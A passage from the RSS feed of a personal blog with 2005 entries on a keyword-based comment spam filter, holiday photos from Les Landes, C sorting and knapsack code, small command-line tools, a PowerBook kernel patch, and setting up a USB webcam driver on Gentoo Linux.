  12025. <li><a href="https://web.archive.org/web/20050920201208/http://colr.org/" title="colr.org (archive.org)">colr.org</a></li>
  12026.  
  12027. <li><a href="https://mochi.github.io/mochikit/examples/effects/index.html" title="MochiKit - Demos">MochiKit - Demos</a></li>
  12028.  
  12029. <li><a href="https://web.archive.org/web/20050924000321/http://ajaxpatterns.org/Ajax_Examples" title="Ajax Examples - Ajax Patterns (archive.org)">Ajax Examples - Ajax Patterns</a></li>
  12030. </ul>
  12031. ]]></content:encoded>
  12032.  </item>
  12033.  
  12034.  <item>
  12035.    <title>Fight Spam</title>
  12036.    <link>https://blog.x-way.org/Coding/2005/08/07/Fight-Spam.html</link>
  12037.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324070</guid>
  12038.    <dc:creator>Andreas Jaggi</dc:creator>
  12039.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  12040.    <pubDate>Sun, 07 Aug 2005 12:49:48 +0200</pubDate>
  12041.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  12042.    <description><![CDATA[<p>Since this weblog received about 100 spam comments last week, i implemented a simple spam-filter based on a badwords list.<br>
  12043. If a comments text contains more than four occurences of the following
  12044. words, it won't get added and the user is redirected to the mainpage.</p>
  12045.  
  12046. <p>Thanks to very specific spam content, it only needs a small list of badwords to detect the spam.</p>
  12047.  
  12048. <ul>
  12049. <li>texas</li>
  12050.  
  12051. <li>holdem</li>
  12052.  
  12053. <li>casino</li>
  12054.  
  12055. <li>poker</li>
  12056. </ul>
  12057. <p>This is just a simple anti-spam mechanism, but for now it works perfect and i hope it remains so for a long time :-)</p>
  12058. ]]></description>
  12059.    <content:encoded><![CDATA[<p>Since this weblog received about 100 spam comments last week, i implemented a simple spam-filter based on a badwords list.<br>
  12060. If a comments text contains more than four occurences of the following
  12061. words, it won't get added and the user is redirected to the mainpage.</p>
  12062.  
  12063. <p>Thanks to very specific spam content, it only needs a small list of badwords to detect the spam.</p>
  12064.  
  12065. <ul>
  12066. <li>texas</li>
  12067.  
  12068. <li>holdem</li>
  12069.  
  12070. <li>casino</li>
  12071.  
  12072. <li>poker</li>
  12073. </ul>
  12074. <p>This is just a simple anti-spam mechanism, but for now it works perfect and i hope it remains so for a long time :-)</p>
  12075. ]]></content:encoded>
  12076.  </item>
  12077.  
  12078.  <item>
  12079.    <title>Les Landes 2005 - Teil 1</title>
  12080.    <link>https://blog.x-way.org/Misc/2005/08/01/Les-Landes-2005---Teil-1.html</link>
  12081.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324069</guid>
  12082.    <dc:creator>Andreas Jaggi</dc:creator>
  12083.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  12084.    <pubDate>Mon, 01 Aug 2005 02:08:02 +0200</pubDate>
  12085.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  12086.    <description><![CDATA[<p><q>Um 20.30h fängt der Film an. Wenn du den Zug nimmst, der in zehn Minuten fährt, reichts noch!</q><br>
  12087. Und so habe ich mir am Freitag vor zwei Wochen noch schnell <a href="http://www.imdb.com/title/tt0356910/" title="Mehr über den Film bei IMDb">Mr. &amp; Mrs. Smith</a>
  12088. angeschaut. Als ich nach dem Kinobesuch wieder Zuhause angekommen war,
  12089. musste ich mich beeilen um noch meine Sachen zu packen damit wir um
  12090. vier Uhr morgens in Richtung Frankreich losfahren konnten.
  12091. Wir verbrachten unsere Ferien nocheinmal im Derpartement des Landes in
  12092. Moustey. Da ich auch meine Digitalkamera mitgenommen hatte, gibts
  12093. diesmal sogar ein paar Bilder.</p>
  12094. <br><br>
  12095. <dl class="tdl">
  12096. <dt class="tdla">
  12097. <a href="https://blog.x-way.org/images/landes05_01.jpg" title="Klick für grössere Ansicht"><img src="https://blog.x-way.org/images/landes05_01_t.jpg" alt="Blick zur Tür hinaus" title="Klick für grössere Ansicht"></a>
  12098. </dt>
  12099. <dd class="tdla">Blick zur Tür hinaus</dd>
  12100. <dt class="tdlb">
  12101. <a href="https://blog.x-way.org/images/landes05_02.jpg" title="Klick für grössere Ansicht"><img src="https://blog.x-way.org/images/landes05_02_t.jpg" alt="Les Landes ist voller Pinien" title="Klick für grössere Ansicht"></a>
  12102. </dt>
  12103. <dd class="tdlb">Les Landes ist voller Pinien</dd>
  12104. <dt class="tdla">
  12105. <a href="https://blog.x-way.org/images/landes05_03.jpg" title="Klick für grössere Ansicht"><img src="https://blog.x-way.org/images/landes05_03_t.jpg" alt="Pomme de pin" title="Klick für grössere Ansicht"></a>
  12106. </dt>
  12107. <dd class="tdla">Pomme de pin</dd>
  12108. <dt class="tdlb">
  12109. <a href="https://blog.x-way.org/images/landes05_06.jpg" title="Klick für grössere Ansicht"><img src="https://blog.x-way.org/images/landes05_06_t.jpg" alt="Ein Glühwürmchen photographiert mit Infrarot" title="Klick für grössere Ansicht"></a>
  12110. </dt>
  12111. <dd class="tdlb">Ein Glühwürmchen photographiert mit Infrarot</dd>
  12112. <dt class="tdla">
  12113. <a href="https://blog.x-way.org/images/landes05_07.jpg" title="Klick für grössere Ansicht"><img src="https://blog.x-way.org/images/landes05_07_t.jpg" alt="und mit Blitzlicht" title="Klick für grössere Ansicht"></a>
  12114. </dt>
  12115. <dd class="tdla">und mit Blitzlicht</dd>
  12116. <dt class="tdlb">
  12117. <a href="https://blog.x-way.org/images/landes05_08.jpg" title="Klick für grössere Ansicht"><img src="https://blog.x-way.org/images/landes05_08_t.jpg" alt="Mond, Belichtungszeit 30 Sekunden" title="Klick für grössere Ansicht"></a>
  12118. </dt>
  12119. <dd class="tdlb">Mond, Belichtungszeit 30 Sekunden</dd>
  12120. <dt class="tdla">
  12121. <a href="https://blog.x-way.org/images/landes05_09.jpg" title="Klick für grössere Ansicht"><img src="https://blog.x-way.org/images/landes05_09_t.jpg" alt="Mond, Belichtungszeit 10 Sekunden" title="Klick für grössere Ansicht"></a>
  12122. </dt>
  12123. <dd class="tdlb">Mond, Belichtungszeit 10 Sekunden</dd>
  12124. <dt class="tdlb">
  12125. <a href="https://blog.x-way.org/images/landes05_10.jpg" title="Klick für grössere Ansicht"><img src="https://blog.x-way.org/images/landes05_10_t.jpg" alt="Mond, Belichtungszeit 30 Sekunden" title="Klick für grössere Ansicht"></a>
  12126. </dt>
  12127. <dd class="tdlb">Mond, Belichtungszeit 30 Sekunden</dd>
  12128. <dt class="tdla">
  12129. <a href="https://blog.x-way.org/images/landes05_11.jpg" title="Klick für grössere Ansicht"><img src="https://blog.x-way.org/images/landes05_11_t.jpg" alt="Eine Eidechse" title="Klick für grössere Ansicht"></a>
  12130. </dt>
  12131. <dd class="tdla">Eine Eidechse</dd>
  12132. <dt class="tdlb">
  12133. <a href="https://blog.x-way.org/images/landes05_12.jpg" title="Klick für grössere Ansicht"><img src="https://blog.x-way.org/images/landes05_12_t.jpg" alt="Zwei Eidechsen" title="Klick für grössere Ansicht"></a>
  12134. </dt>
  12135. <dd class="tdlb">Zwei Eidechsen</dd>
  12136. <dt class="tdla">
  12137. <a href="https://blog.x-way.org/images/landes05_13.jpg" title="Klick für grössere Ansicht"><img src="https://blog.x-way.org/images/landes05_13_t.jpg" alt="Spezieller Grashüpfer" title="Klick für grössere Ansicht"></a>
  12138. </dt>
  12139. <dd class="tdla">Spezieller Grashüpfer</dd>
  12140. <dt class="tdlb">
  12141. <a href="https://blog.x-way.org/images/landes05_14.jpg" title="Klick für grössere Ansicht"><img src="https://blog.x-way.org/images/landes05_14_t.jpg" alt="Viaduc de Millau" title="Klick für grössere Ansicht"></a>
  12142. </dt>
  12143. <dd class="tdlb">Auf dem Rückweg überquerten wir den <a href="https://web.archive.org/web/20050801234231/www.viaducdemillau.com" title="Viaduc de Millau (archive.org)">Viaduc de Millau</a></dd>
  12144. <dt class="tdla">
  12145. <a href="https://blog.x-way.org/images/landes05_15.jpg" title="Klick für grössere Ansicht"><img src="https://blog.x-way.org/images/landes05_15_t.jpg" alt="Viaduc de Millau" title="Klick für grössere Ansicht"></a>
  12146. </dt>
  12147. <dd class="tdla"><a href="https://web.archive.org/web/20050801234231/www.viaducdemillau.com" title="Viaduc de Millau (archive.org)">Viaduc de Millau</a></dd>
  12148. <dt class="tdlb">
  12149. <a href="https://blog.x-way.org/images/landes05_16.jpg" title="Klick für grössere Ansicht"><img src="https://blog.x-way.org/images/landes05_16_t.jpg" alt="Viaduc de Millau" title="Klick für grössere Ansicht"></a>
  12150. </dt>
  12151. <dd class="tdlb"><a href="https://web.archive.org/web/20050801234231/www.viaducdemillau.com" title="Viaduc de Millau (archive.org)">Viaduc de Millau</a></dd>
  12152. <dt class="tdla">
  12153. <a href="https://blog.x-way.org/images/landes05_17.jpg" title="Klick für grössere Ansicht"><img src="https://blog.x-way.org/images/landes05_17_t.jpg" alt="Brücke von Les Vignes" title="Klick für grössere Ansicht"></a>
  12154. </dt>
  12155. <dd class="tdla">Brücke von Les Vignes</dd>
  12156. <dt class="tdlb">
  12157. <a href="https://blog.x-way.org/images/landes05_18.jpg" title="Klick für grössere Ansicht"><img src="https://blog.x-way.org/images/landes05_18_t.jpg" alt="Felsformation bei Les Vignes" title="Klick für grössere Ansicht"></a>
  12158. </dt>
  12159. <dd class="tdlb">Felsformation bei Les Vignes</dd>
  12160. <dt class="tdlb">
  12161. <a href="https://blog.x-way.org/images/landes05_04.jpg" title="Klick für grössere Ansicht"><img src="https://blog.x-way.org/images/landes05_04_t.jpg" alt="Ferienlektüre" title="Klick für grössere Ansicht"></a>
  12162. </dt>
  12163. <dd class="tdlb">Ferienlektüre</dd>
  12164. <dt class="tdla">
  12165. <a href="https://blog.x-way.org/images/landes05_05.jpg" title="Klick für grössere Ansicht"><img src="https://blog.x-way.org/images/landes05_05_t.jpg" alt="Hängematte" title="Klick für grössere Ansicht"></a>
  12166. </dt>
  12167. <dd class="tdlb"></dd>
  12168. </dl>
  12169.  
  12170. ]]></description>
  12171.    <content:encoded><![CDATA[<p><q>Um 20.30h fängt der Film an. Wenn du den Zug nimmst, der in zehn Minuten fährt, reichts noch!</q><br>
  12172. Und so habe ich mir am Freitag vor zwei Wochen noch schnell <a href="http://www.imdb.com/title/tt0356910/" title="Mehr über den Film bei IMDb">Mr. &amp; Mrs. Smith</a>
  12173. angeschaut. Als ich nach dem Kinobesuch wieder Zuhause angekommen war,
  12174. musste ich mich beeilen um noch meine Sachen zu packen damit wir um
  12175. vier Uhr morgens in Richtung Frankreich losfahren konnten.
  12176. Wir verbrachten unsere Ferien nocheinmal im Derpartement des Landes in
  12177. Moustey. Da ich auch meine Digitalkamera mitgenommen hatte, gibts
  12178. diesmal sogar ein paar Bilder.</p>
  12179. <br><br>
  12180. <dl class="tdl">
  12181. <dt class="tdla">
  12182. <a href="https://blog.x-way.org/images/landes05_01.jpg" title="Klick für grössere Ansicht"><img src="https://blog.x-way.org/images/landes05_01_t.jpg" alt="Blick zur Tür hinaus" title="Klick für grössere Ansicht"></a>
  12183. </dt>
  12184. <dd class="tdla">Blick zur Tür hinaus</dd>
  12185. <dt class="tdlb">
  12186. <a href="https://blog.x-way.org/images/landes05_02.jpg" title="Klick für grössere Ansicht"><img src="https://blog.x-way.org/images/landes05_02_t.jpg" alt="Les Landes ist voller Pinien" title="Klick für grössere Ansicht"></a>
  12187. </dt>
  12188. <dd class="tdlb">Les Landes ist voller Pinien</dd>
  12189. <dt class="tdla">
  12190. <a href="https://blog.x-way.org/images/landes05_03.jpg" title="Klick für grössere Ansicht"><img src="https://blog.x-way.org/images/landes05_03_t.jpg" alt="Pomme de pin" title="Klick für grössere Ansicht"></a>
  12191. </dt>
  12192. <dd class="tdla">Pomme de pin</dd>
  12193. <dt class="tdlb">
  12194. <a href="https://blog.x-way.org/images/landes05_06.jpg" title="Klick für grössere Ansicht"><img src="https://blog.x-way.org/images/landes05_06_t.jpg" alt="Ein Glühwürmchen photographiert mit Infrarot" title="Klick für grössere Ansicht"></a>
  12195. </dt>
  12196. <dd class="tdlb">Ein Glühwürmchen photographiert mit Infrarot</dd>
  12197. <dt class="tdla">
  12198. <a href="https://blog.x-way.org/images/landes05_07.jpg" title="Klick für grössere Ansicht"><img src="https://blog.x-way.org/images/landes05_07_t.jpg" alt="und mit Blitzlicht" title="Klick für grössere Ansicht"></a>
  12199. </dt>
  12200. <dd class="tdla">und mit Blitzlicht</dd>
  12201. <dt class="tdlb">
  12202. <a href="https://blog.x-way.org/images/landes05_08.jpg" title="Klick für grössere Ansicht"><img src="https://blog.x-way.org/images/landes05_08_t.jpg" alt="Mond, Belichtungszeit 30 Sekunden" title="Klick für grössere Ansicht"></a>
  12203. </dt>
  12204. <dd class="tdlb">Mond, Belichtungszeit 30 Sekunden</dd>
  12205. <dt class="tdla">
  12206. <a href="https://blog.x-way.org/images/landes05_09.jpg" title="Klick für grössere Ansicht"><img src="https://blog.x-way.org/images/landes05_09_t.jpg" alt="Mond, Belichtungszeit 10 Sekunden" title="Klick für grössere Ansicht"></a>
  12207. </dt>
  12208. <dd class="tdlb">Mond, Belichtungszeit 10 Sekunden</dd>
  12209. <dt class="tdlb">
  12210. <a href="https://blog.x-way.org/images/landes05_10.jpg" title="Klick für grössere Ansicht"><img src="https://blog.x-way.org/images/landes05_10_t.jpg" alt="Mond, Belichtungszeit 30 Sekunden" title="Klick für grössere Ansicht"></a>
  12211. </dt>
  12212. <dd class="tdlb">Mond, Belichtungszeit 30 Sekunden</dd>
  12213. <dt class="tdla">
  12214. <a href="https://blog.x-way.org/images/landes05_11.jpg" title="Klick für grössere Ansicht"><img src="https://blog.x-way.org/images/landes05_11_t.jpg" alt="Eine Eidechse" title="Klick für grössere Ansicht"></a>
  12215. </dt>
  12216. <dd class="tdla">Eine Eidechse</dd>
  12217. <dt class="tdlb">
  12218. <a href="https://blog.x-way.org/images/landes05_12.jpg" title="Klick für grössere Ansicht"><img src="https://blog.x-way.org/images/landes05_12_t.jpg" alt="Zwei Eidechsen" title="Klick für grössere Ansicht"></a>
  12219. </dt>
  12220. <dd class="tdlb">Zwei Eidechsen</dd>
  12221. <dt class="tdla">
  12222. <a href="https://blog.x-way.org/images/landes05_13.jpg" title="Klick für grössere Ansicht"><img src="https://blog.x-way.org/images/landes05_13_t.jpg" alt="Spezieller Grashüpfer" title="Klick für grössere Ansicht"></a>
  12223. </dt>
  12224. <dd class="tdla">Spezieller Grashüpfer</dd>
  12225. <dt class="tdlb">
  12226. <a href="https://blog.x-way.org/images/landes05_14.jpg" title="Klick für grössere Ansicht"><img src="https://blog.x-way.org/images/landes05_14_t.jpg" alt="Viaduc de Millau" title="Klick für grössere Ansicht"></a>
  12227. </dt>
  12228. <dd class="tdlb">Auf dem Rückweg überquerten wir den <a href="https://web.archive.org/web/20050801234231/www.viaducdemillau.com" title="Viaduc de Millau (archive.org)">Viaduc de Millau</a></dd>
  12229. <dt class="tdla">
  12230. <a href="https://blog.x-way.org/images/landes05_15.jpg" title="Klick für grössere Ansicht"><img src="https://blog.x-way.org/images/landes05_15_t.jpg" alt="Viaduc de Millau" title="Klick für grössere Ansicht"></a>
  12231. </dt>
  12232. <dd class="tdla"><a href="https://web.archive.org/web/20050801234231/www.viaducdemillau.com" title="Viaduc de Millau (archive.org)">Viaduc de Millau</a></dd>
  12233. <dt class="tdlb">
  12234. <a href="https://blog.x-way.org/images/landes05_16.jpg" title="Klick für grössere Ansicht"><img src="https://blog.x-way.org/images/landes05_16_t.jpg" alt="Viaduc de Millau" title="Klick für grössere Ansicht"></a>
  12235. </dt>
  12236. <dd class="tdlb"><a href="https://web.archive.org/web/20050801234231/www.viaducdemillau.com" title="Viaduc de Millau (archive.org)">Viaduc de Millau</a></dd>
  12237. <dt class="tdla">
  12238. <a href="https://blog.x-way.org/images/landes05_17.jpg" title="Klick für grössere Ansicht"><img src="https://blog.x-way.org/images/landes05_17_t.jpg" alt="Brücke von Les Vignes" title="Klick für grössere Ansicht"></a>
  12239. </dt>
  12240. <dd class="tdla">Brücke von Les Vignes</dd>
  12241. <dt class="tdlb">
  12242. <a href="https://blog.x-way.org/images/landes05_18.jpg" title="Klick für grössere Ansicht"><img src="https://blog.x-way.org/images/landes05_18_t.jpg" alt="Felsformation bei Les Vignes" title="Klick für grössere Ansicht"></a>
  12243. </dt>
  12244. <dd class="tdlb">Felsformation bei Les Vignes</dd>
  12245. <dt class="tdlb">
  12246. <a href="https://blog.x-way.org/images/landes05_04.jpg" title="Klick für grössere Ansicht"><img src="https://blog.x-way.org/images/landes05_04_t.jpg" alt="Ferienlektüre" title="Klick für grössere Ansicht"></a>
  12247. </dt>
  12248. <dd class="tdlb">Ferienlektüre</dd>
  12249. <dt class="tdla">
  12250. <a href="https://blog.x-way.org/images/landes05_05.jpg" title="Klick für grössere Ansicht"><img src="https://blog.x-way.org/images/landes05_05_t.jpg" alt="Hängematte" title="Klick für grössere Ansicht"></a>
  12251. </dt>
  12252. <dd class="tdlb"></dd>
  12253. </dl>
  12254.  
  12255. ]]></content:encoded>
  12256.  </item>
  12257.  
  12258.  <item>
  12259.    <title>Knapsack 0/1 and sorting algorithms</title>
  12260.    <link>https://blog.x-way.org/Coding/2005/07/02/Knapsack-01-and-sorting-algorithms.html</link>
  12261.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324068</guid>
  12262.    <dc:creator>Andreas Jaggi</dc:creator>
  12263.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  12264.    <pubDate>Sat, 02 Jul 2005 01:56:12 +0200</pubDate>
  12265.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  12266.    <description><![CDATA[<p>As an exercice for the algorithm test of next monday i implemented some algorithms in C.<br>
  12267. There are: </p>
  12268.  
  12269. <ul>
  12270. <li><a href="http://en.wikipedia.org/wiki/Gnome_sort" title="Gnome sort on Wikipedia">gnome sort</a></li>
  12271.  
  12272. <li><a href="http://en.wikipedia.org/wiki/Insertion_sort" title="Insertion sort on Wikipedia">insertion sort</a></li>
  12273.  
  12274. <li><a href="http://en.wikipedia.org/wiki/Selection_sort" title="Selection sort on Wikipedia">selection sort</a></li>
  12275.  
  12276. <li><a href="http://en.wikipedia.org/wiki/Shell_sort" title="Shell sort on Wikipedia">shell sort</a></li>
  12277.  
  12278. <li><a href="http://en.wikipedia.org/wiki/Merge_sort" title="Merge sort on Wikipedia">merge sort</a></li>
  12279.  
  12280. <li><a href="http://en.wikipedia.org/wiki/Bubble_sort" title="Bubble sort on Wikipedia">bubble sort</a></li>
  12281.  
  12282. <li><a href="http://en.wikipedia.org/wiki/Quicksort" title="Quicksort on Wikipedia">quicksort</a></li>
  12283.  
  12284. <li><a href="http://en.wikipedia.org/wiki/Heapsort" title="Heapsort on Wikipedia">heapsort</a></li>
  12285.  
  12286. <li><a href="http://en.wikipedia.org/wiki/Knapsack_problem" title="Knapsack on Wikipedia">knapsack</a> 0/1 algorithm</li>
  12287. </ul>
  12288.  
  12289. <p>The source code is available under the BSD License:</p>
  12290.  
  12291. <ul>
  12292. <li><a href="https://blog.x-way.org/stuff/sort.c" title="Source code of sort.c">sorting algorithms</a><br>
  12293.  
  12294. </li>
  12295.  
  12296. <li><a href="https://blog.x-way.org/stuff/knapsack01.c" title="Source code of knapsack01.c">knapsack 0/1 algorithm</a>
  12297.    <br>
  12298. </li>
  12299. </ul>
  12300. ]]></description>
  12301.    <content:encoded><![CDATA[<p>As an exercice for the algorithm test of next monday i implemented some algorithms in C.<br>
  12302. There are: </p>
  12303.  
  12304. <ul>
  12305. <li><a href="http://en.wikipedia.org/wiki/Gnome_sort" title="Gnome sort on Wikipedia">gnome sort</a></li>
  12306.  
  12307. <li><a href="http://en.wikipedia.org/wiki/Insertion_sort" title="Insertion sort on Wikipedia">insertion sort</a></li>
  12308.  
  12309. <li><a href="http://en.wikipedia.org/wiki/Selection_sort" title="Selection sort on Wikipedia">selection sort</a></li>
  12310.  
  12311. <li><a href="http://en.wikipedia.org/wiki/Shell_sort" title="Shell sort on Wikipedia">shell sort</a></li>
  12312.  
  12313. <li><a href="http://en.wikipedia.org/wiki/Merge_sort" title="Merge sort on Wikipedia">merge sort</a></li>
  12314.  
  12315. <li><a href="http://en.wikipedia.org/wiki/Bubble_sort" title="Bubble sort on Wikipedia">bubble sort</a></li>
  12316.  
  12317. <li><a href="http://en.wikipedia.org/wiki/Quicksort" title="Quicksort on Wikipedia">quicksort</a></li>
  12318.  
  12319. <li><a href="http://en.wikipedia.org/wiki/Heapsort" title="Heapsort on Wikipedia">heapsort</a></li>
  12320.  
  12321. <li><a href="http://en.wikipedia.org/wiki/Knapsack_problem" title="Knapsack on Wikipedia">knapsack</a> 0/1 algorithm</li>
  12322. </ul>
  12323.  
  12324. <p>The source code is available under the BSD License:</p>
  12325.  
  12326. <ul>
  12327. <li><a href="https://blog.x-way.org/stuff/sort.c" title="Source code of sort.c">sorting algorithms</a><br>
  12328.  
  12329. </li>
  12330.  
  12331. <li><a href="https://blog.x-way.org/stuff/knapsack01.c" title="Source code of knapsack01.c">knapsack 0/1 algorithm</a>
  12332.    <br>
  12333. </li>
  12334. </ul>
  12335. ]]></content:encoded>
  12336.  </item>
  12337.  
  12338.  <item>
  12339.    <title>rl and rs</title>
  12340.    <link>https://blog.x-way.org/Coding/2005/06/30/rl-and-rs.html</link>
  12341.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324067</guid>
  12342.    <dc:creator>Andreas Jaggi</dc:creator>
  12343.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  12344.    <pubDate>Thu, 30 Jun 2005 22:01:55 +0200</pubDate>
  12345.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  12346.    <description><![CDATA[<p><code>rl</code> and <code>rs</code> are two small command-line programs written in C.</p>
  12347.  
  12348. <ul>
  12349. <li><code>rl</code> removes starting line(s) from stdin.</li>
  12350.  
  12351. <li><code>rs</code> reverses it's input.</li>
  12352. </ul>
  12353.  
  12354. <p>The source code is available under the BSD License:</p>
  12355.  
  12356. <ul>
  12357. <li><a href="https://blog.x-way.org/stuff/rl.c" title="Download the source code for rl">rl.c</a></li>
  12358.  
  12359. <li><a href="https://blog.x-way.org/stuff/rs.c" title="Download the source code for rs">rs.c</a></li>
  12360. </ul>
  12361. ]]></description>
  12362.    <content:encoded><![CDATA[<p><code>rl</code> and <code>rs</code> are two small command-line programs written in C.</p>
  12363.  
  12364. <ul>
  12365. <li><code>rl</code> removes starting line(s) from stdin.</li>
  12366.  
  12367. <li><code>rs</code> reverses it's input.</li>
  12368. </ul>
  12369.  
  12370. <p>The source code is available under the BSD License:</p>
  12371.  
  12372. <ul>
  12373. <li><a href="https://blog.x-way.org/stuff/rl.c" title="Download the source code for rl">rl.c</a></li>
  12374.  
  12375. <li><a href="https://blog.x-way.org/stuff/rs.c" title="Download the source code for rs">rs.c</a></li>
  12376. </ul>
  12377. ]]></content:encoded>
  12378.  </item>
  12379.  
  12380.  <item>
  12381.    <title>linux-2.6.11.7-alubuttons.patch</title>
  12382.    <link>https://blog.x-way.org/Linux/2005/04/17/linux-2-6-11-7-alubuttons-patch.html</link>
  12383.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324066</guid>
  12384.    <dc:creator>Andreas Jaggi</dc:creator>
  12385.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  12386.    <pubDate>Sun, 17 Apr 2005 17:58:42 +0200</pubDate>
  12387.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  12388.    <description><![CDATA[<p>Da gerade mein <a title="kernel.org" href="http://www.kernel.org/">Kernel</a> &quot;geupdatet&quot; wird, habe ich den Patch zur Unterstützung der PowerBook Buttons an die <a title="linux-2.6.11.7-alubuttons.patch" href="https://blog.x-way.org/stuff/linux-2.6.11.7-alubuttons.patch">aktuelle Kernelversion angepasst</a>.</p>
  12389.  
  12390. <p>Bei dieser Gelegenheit habe ich den neuen Patch an ein paar
  12391. Kernelentwickler geschickt, vielleicht schafft er's diesmal bis in den
  12392. &quot;offiziellen&quot; Kernel.
  12393. </p>
  12394.  
  12395. <p><b>Update:</b><br>
  12396. Der Patch hat's bis zu Linus geschafft (<a title="[PATCH] macintosh/adbhid.c: adb buttons support for aluminium PowerBook G4" href="http://kernel.org/git/gitweb.cgi?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=146a4b3bdfb5641bfbf975e29680b482b8b343ba">[PATCH] macintosh/adbhid.c: adb buttons support for aluminium PowerBook G4</a>), wird also in der nächsten Kernelversion dabei sein :-)</p>
  12397. ]]></description>
  12398.    <content:encoded><![CDATA[<p>Da gerade mein <a title="kernel.org" href="http://www.kernel.org/">Kernel</a> &quot;geupdatet&quot; wird, habe ich den Patch zur Unterstützung der PowerBook Buttons an die <a title="linux-2.6.11.7-alubuttons.patch" href="https://blog.x-way.org/stuff/linux-2.6.11.7-alubuttons.patch">aktuelle Kernelversion angepasst</a>.</p>
  12399.  
  12400. <p>Bei dieser Gelegenheit habe ich den neuen Patch an ein paar
  12401. Kernelentwickler geschickt, vielleicht schafft er's diesmal bis in den
  12402. &quot;offiziellen&quot; Kernel.
  12403. </p>
  12404.  
  12405. <p><b>Update:</b><br>
  12406. Der Patch hat's bis zu Linus geschafft (<a title="[PATCH] macintosh/adbhid.c: adb buttons support for aluminium PowerBook G4" href="http://kernel.org/git/gitweb.cgi?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=146a4b3bdfb5641bfbf975e29680b482b8b343ba">[PATCH] macintosh/adbhid.c: adb buttons support for aluminium PowerBook G4</a>), wird also in der nächsten Kernelversion dabei sein :-)</p>
  12407. ]]></content:encoded>
  12408.  </item>
  12409.  
  12410.  <item>
  12411.    <title>Webcam</title>
  12412.    <link>https://blog.x-way.org/Misc/2005/04/03/Webcam.html</link>
  12413.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324065</guid>
  12414.    <dc:creator>Andreas Jaggi</dc:creator>
  12415.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  12416.    <pubDate>Sun, 03 Apr 2005 11:02:00 +0200</pubDate>
  12417.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  12418.    <description><![CDATA[<a title="Webcam" href="https://blog.x-way.org/webcam.htm"><img width="352" height="288" src="https://blog.x-way.org/webcam.jpg" alt="Webcam" title="Webcam"></a>
  12419. ]]></description>
  12420.    <content:encoded><![CDATA[<a title="Webcam" href="https://blog.x-way.org/webcam.htm"><img width="352" height="288" src="https://blog.x-way.org/webcam.jpg" alt="Webcam" title="Webcam"></a>
  12421. ]]></content:encoded>
  12422.  </item>
  12423.  
  12424.  <item>
  12425.    <title>Typhoon Webshot II und Linux</title>
  12426.    <link>https://blog.x-way.org/Linux/2005/04/01/Typhoon-Webshot-II-und-Linux.html</link>
  12427.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324064</guid>
  12428.    <dc:creator>Andreas Jaggi</dc:creator>
  12429.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  12430.    <pubDate>Fri, 01 Apr 2005 23:15:22 +0200</pubDate>
  12431.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  12432.    <description><![CDATA[<a href="https://blog.x-way.org/images/webshot2.jpg" style="border: 0px none ;" title="Typhoon Webshot II (Klick für grössere Ansicht)"><img width="290" height="158" src="https://blog.x-way.org/images/webshot2_thumb.jpg" alt="Typhoon Webshot II (Thumbnail)" title="Typhoon Webshot II (Klick für grössere Ansicht)" style="border: 0px none ;"></a>
  12433. <p>Heute habe ich beim Einkaufen diese 'Webcam' entdeckt. Für 29.90 CHF
  12434. (~20&#8364;) bietet sie bis zu 30 640&#215;480 Pixel grosse Bilder pro Sekunde.
  12435. Mit dabei eine CD mit Treiber für Windows 98 bis XP.
  12436. </p>
  12437.  
  12438. <p>Als ich sie an mein Linux-PowerBook anschloss sagte mir <code>dmesg</code> nur gerade diese zwei Zeilen:
  12439. </p>
  12440.  
  12441. <pre><code>ohci_hcd 0001:01:1b.0: remote wakeup
  12442. usb 3-1: new full speed USB device using address 2</code></pre>
  12443. <p>Von <a href="http://www.kroah.com/linux-usb/" title="USBView">usbview</a> wurde die Webcam auch nicht erkannt. Also super Voraussetzungen für einen Betrieb mit Linux.<br>
  12444. </p>
  12445.  
  12446. <p>Nach etwas <a href="http://www.google.com/search?q=linux+typhoon+webshot+ii" title="http://www.google.com/search?q=linux+typhoon+webshot+ii">googeln</a> fand ich <a href="http://spca50x.sourceforge.net/" title="SPCA50X USB Camera Linux Driver">spca50x.sf.net</a> und das entsprechende <a href="http://mxhaard.free.fr/download.html" title="spca5xx Download">2.6er-Kernerlmodul</a>. Erfreulicherweise ist das auch im <a href="https://web.archive.org/web/20050405203313/http://packagestest.gentoo.org/ebuilds/?spca5xx-20050328">Portage-Tree</a> von <a href="http://www.gentoo.org" title="Gentoo Linux">Gentoo</a>. Also schnell ein <code>emerge spca5xx</code>. Ein <code>modprobe spca5xx</code>
  12447. lässt einige Fehlermeldungen erscheinen (Unresolved Symbols). Abhilfe
  12448. schafft das Aktivieren der Video for Linux Unterstützung im <a href="http://www.kernel.org" title="kernel.org">Kernel</a>.
  12449. Nach <code>make</code>, <code>make modules</code> und <code>make modules_install</code>
  12450. lädt das spca5xx Modul problemlos (eigentlich sollte man nach einem
  12451. Neukompilieren des Kernels auch den neuen Kernel laden und nicht nur
  12452. die neuen Module!).</p>
  12453.  
  12454. <p>Ein <code>chmod a+rx /dev/video0</code> als <code>root</code> behebt Berechtigunsprobleme, welche beim Zugriff als normaler Benutzer auftreten können.
